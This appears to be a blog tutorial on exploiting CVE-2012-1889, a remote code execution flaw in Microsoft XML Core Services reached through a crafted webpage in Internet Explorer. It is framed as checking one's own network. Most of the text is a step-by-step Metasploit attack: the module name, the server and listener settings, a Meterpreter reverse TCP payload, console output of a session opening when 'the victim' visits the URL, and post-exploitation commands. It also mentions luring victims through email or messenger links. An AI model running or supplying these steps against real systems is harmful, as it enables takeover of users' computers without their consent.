CVE-2012-1889: Microsoft XML Core Services Vulnerability Metasploit Demo

CVE-2012-1889: Microsoft XML Core Services Vulnerability
A vulnerability in Microsoft XML Core Services 3.0, 4.0, 5.0, and 6.0 allows remote code execution if a user views a specially crafted webpage using Internet Explorer.

An attacker would have no way to force users to visit such a website. Instead, an attacker would have to convince users to visit the website, typically by getting them to click a link in an email message or Instant Messenger message that takes them to the attacker’s website.

The vulnerability affects all supported releases of Microsoft Windows, and all supported editions of Microsoft Office 2003 and Microsoft Office 2007. Here you can the full list.

The vulnerability exists when MSXML attempts to access an object in memory that has not been initialized, which may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the logged-on user.

I am going to demonstrate how to use Metasploit tool for testing whether your network vulnerable or not.

Open the Terminal and type “msfupdate” to get the latest metasploit modules. Once update is finished, then type “msfconsole“.

Then type the following command in the console “use exploit/windows/browser/msxml_get_definition_code_exec“.

Now we have to know the list of settings available for this exploit module. In order to get the list , you can type “show options” in the console.

Command: set SRVHOST
Details: Here the is the ip of Backtrack . You can get this ip by simply typing the “ifconfig” in the terminal.

Command: set lhost

Command: set URIPATH /
Details: The path in which our exploit will run.

As usual, we can use Reverse Tcp payload for this attack also. So type the following command in the Metasploit console:

set payload windows/meterpreter/reverse_tcp

Type “exploit” in the console.

Once the victim loads the URL in his IE browser, you will get the following message in your metasploit console:

[*] msxml_get_definition_code_exec – Using msvcrt ROP

[*] msxml_get_definition_code_exec – – Sending html

[*] Sending stage (752128 bytes) to

[*] Meterpreter session 1 opened ( ->

Type “sessions” to list the active sessions . Type “sessions -i 1”, this will open the connection to the session with the id ‘1’ and bring you to Meterpreter.

Type “sysinfo” in the meterpreter to get the system information.